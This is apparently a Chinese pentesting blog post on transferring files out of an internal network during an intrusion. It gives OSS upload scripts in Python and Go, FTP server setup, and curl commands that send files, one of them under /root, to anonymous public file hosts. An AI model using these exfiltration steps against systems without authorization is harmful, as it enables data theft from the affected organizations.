内网渗透-文件传输

发布于 23 天前  37 次阅读


阿里云OSS Python

# -*- coding: utf-8 -*-
import oss2
import os
import sys
# 阿里云账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM用户进行API访问或日常运维,请登录RAM控制台创建RAM用户。
auth = oss2.Auth('AccessKey', 'secretkey')
# yourEndpoint填写Bucket所在地域对应的Endpoint。以华东1(杭州)为例,Endpoint填写为https://oss-cn-hangzhou.aliyuncs.com。
# 填写Bucket名称。
bucket = oss2.Bucket(auth, 'https://oxxx.aliyuncs.com', 'Bucket name')

# 必须以二进制的方式打开文件。
# 填写本地文件的完整路径。如果未指定本地路径,则默认从示例程序所属项目对应本地路径中上传文件。
if len(sys.argv):
    with open(sys.argv[1], 'rb') as fileobj:
        # Seek方法用于指定从第1000个字节位置开始读写。上传时会从您指定的第1000个字节位置开始上传,直到文件结束。
        fileobj.seek(0, os.SEEK_SET)
        # Tell方法用于返回当前位置。
        current = fileobj.tell()
        # 填写Object完整路径。Object完整路径中不能包含Bucket名称。
        bucket.put_object(sys.argv[1], fileobj)

阿里云OSS Golang

package main
import (
    "fmt"
    "os"
    "github.com/aliyun/aliyun-oss-go-sdk/oss"
)

func main() {
    // 创建OSSClient实例。
    // yourEndpoint填写Bucket对应的Endpoint,以华东1(杭州)为例,填写为https://oss-cn-hangzhou.aliyuncs.com。其它Region请按实际情况填写。
    // 阿里云账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM用户进行API访问或日常运维,请登录RAM控制台创建RAM用户。
    client, err := oss.New("yourEndpoint", "yourAccessKeyId", "yourAccessKeySecret")    
    if err != nil {
        fmt.Println("Error:", err)
        os.Exit(-1)
    }

    // 填写存储空间名称,例如examplebucket。
    bucket, err := client.Bucket("examplebucket")
    if err != nil {
        fmt.Println("Error:", err)
        os.Exit(-1)
    }

    // 依次填写Object的完整路径(例如exampledir/exampleobject.txt)和本地文件的完整路径(例如D:\\localpath\\examplefile.txt)。
    err = bucket.PutObjectFromFile("exampledir/exampleobject.txt", "D:\\localpath\\examplefile.txt")
    if err != nil {
        fmt.Println("Error:", err)
        os.Exit(-1)
    }
}            

FTP上传

python3 -m pyftpdlib -w
	-i 指定IP地址(默认为本机的IP地址)
	-p 指定端口(默认为2121)
	-w 写权限(默认为只读)
	-d 指定目录 (默认为当前目录)
	-u 指定用户名登录
	-P 设置登录密码

curl --upload-file filename ftp://x.x.x.x:21 or
curl -T "file" ftp://x.x.x.x:21 or
curl -T "{file1,file2}" ftp://x.x.x.x:21

# 上传 aa.txt 文件到 FTP 指定目录下(目录必须以"/"结尾), 并以 原文件名 命名保存
curl ftp://192.168.0.100/aaDir/ -u "user:passwd" -T "aa.txt"
# 上传 aa.txt 文件到 FTP 指定目录下, 并以 bb.txt 命名保存
curl ftp://192.168.0.100/aaDir/bb.txt -u "user:passwd" -T "aa.txt"
# 同时上传多个文件
curl ftp://192.168.0.100/aaDir/ -u "user:passwd" -T "{aa.txt,bb.txt}"

tips:https://www.eet-china.com/mp/a170505.html

网盘

curl -F "file=@file.txt" https://file.io
curl -F "file=@/root/file.txt" https://api.anonfiles.com/upload
curl -k -F "file=@file.txt" -F "token=xxxx" -F "model=2"  -X POST "https://connect.tmp.link/api_v2/cli_uploader"  

本当の声を響かせてよ